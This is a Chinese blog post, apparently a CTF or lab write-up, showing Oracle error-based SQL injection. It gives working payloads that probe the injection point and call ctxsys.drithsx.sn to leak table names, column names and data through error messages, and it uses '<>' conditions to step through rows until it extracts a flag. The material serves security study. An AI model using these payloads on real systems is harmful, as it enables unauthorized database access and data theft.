oracle报错注入

本文详细介绍了Oracle数据库的报错注入技巧,包括检测注入点、利用特定函数进行数据查询,以及如何通过比较操作符获取多行数据等高级技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

oracle的报错注入的原理和mysql的不一样,但实现的功能是一样的。

使用场景是,1、无法回显的盲注 2.当字段数或类型的原因无法使用union联合查询时

1.查询是否有注入点
对url后面加上mssql的注释 - -,页面异常

后面加上 '- -
在这里插入图片描述
页面显示正常,证明有注入点,并要用’进行闭合

2. 利用函数ctxsys.drithsx.sn 进行报错注入
函数的用法:
1=ctxsys.drithsx.sn(1,(查询语句))

3.查表名
语句是:
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 ))
在这里插入图片描述
数据库报错,报错语句中得到了我们想要的ADMIN表
4.查字段名
语句:
and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1))
在这里插入图片描述
第一个字段名是ID,不是我们想要的字段名,oracle又没法像mysql一样用limit,哪还有什么方法可以得到第二行数据呢

5.用<>查看后面的数据
可以用条件: 字段名<>第一行的字段值(就是我们第一次查出来的)
就展示了第二行的数据
语句:and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and column_name <>‘ID’))
在这里插入图片描述
第三行
and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and column_name <>'ID’and column_name <>‘USER_NAME’))
在这里插入图片描述
第n行
在这里插入图片描述
得到的我们想要的FLAG_FLAG字段
5.查表内的数据
and 1=ctxsys.drithsx.sn(1,(select FLAG_FLAG from ADMIN where rownum=1))
在这里插入图片描述

我们也得到了我们需要的信息:flag为:zkaq{a93fe484c}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值